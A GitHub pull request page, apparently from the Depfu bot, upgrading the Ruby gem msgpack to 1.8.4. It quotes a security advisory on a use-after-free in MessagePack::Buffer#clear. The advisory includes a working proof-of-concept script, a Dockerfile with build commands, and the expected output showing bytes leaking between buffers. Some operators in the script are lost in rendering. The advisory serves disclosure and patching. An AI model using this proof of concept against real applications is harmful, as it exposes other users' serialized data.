Skip to content

🚨 [security] Update msgpack 1.8.0 → 1.8.4 (patch) - #937

Open
depfu[bot] wants to merge 1 commit into
developfrom
depfu/update/msgpack-1.8.4
Open

🚨 [security] Update msgpack 1.8.0 → 1.8.4 (patch)#937
depfu[bot] wants to merge 1 commit into
developfrom
depfu/update/msgpack-1.8.4

Conversation

@depfu

@depfu depfu Bot commented Jul 30, 2026

Copy link
Copy Markdown
Contributor

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ msgpack (indirect, 1.8.0 → 1.8.4) · Repo · Changelog

Security Advisories 🚨

🚨 MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

  • msgpack_buffer_clear()_msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
  • Next Buffer#write_msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
  • A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
  • Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' 1000); b1.write('A' 200); b1.write('N' 1000)
b1.clear
b1.write('C'
128)
secret = ('s' 200) + ('ABCD' 32) + ('t' 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C'
128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && </span>
cd msgpack-1.8.1/ext/msgpack && </span>
MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && </span>
make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc
bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Release Notes

1.8.4 (from changelog)

* Fix `MessagePack::Buffer` to stop using already released memory page.
  This could have caused data to leak across buffers when using the MessagePack::Buffer API
  directly.

1.8.3 (from changelog)

* Fix an integer overflow when parsing maps.

1.8.2 (from changelog)

* Fix `Buffer#clear` to properly reset memory chunks before adding them back to the pool.
  This could have caused data to leak across buffers when using the MessagePack::Buffer API
  directly. [CVE-PENDING].

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 40 commits:


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu Bot added dependencies Pull requests that update a dependency file Security Update A label to identify dependency updates containing security fixes Technical Debt Technical Debt labels Jul 30, 2026
@depfu

depfu Bot commented Jul 30, 2026

Copy link
Copy Markdown
Contributor Author

Sorry, but the merge failed with:

At least 1 approving review is required by reviewers with write access.

@codecov

codecov Bot commented Jul 30, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 96.93%. Comparing base (cea64f1) to head (5dc44b7).

Additional details and impacted files
@@           Coverage Diff            @@
##           develop     #937   +/-   ##
========================================
  Coverage    96.93%   96.93%           
========================================
  Files           81       81           
  Lines         1861     1861           
========================================
  Hits          1804     1804           
  Misses          57       57           
Flag Coverage Δ
pull_request 96.93% <ø> (ø)
push 96.93% <ø> (ø)
ruby 96.93% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file Security Update A label to identify dependency updates containing security fixes Technical Debt Technical Debt

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants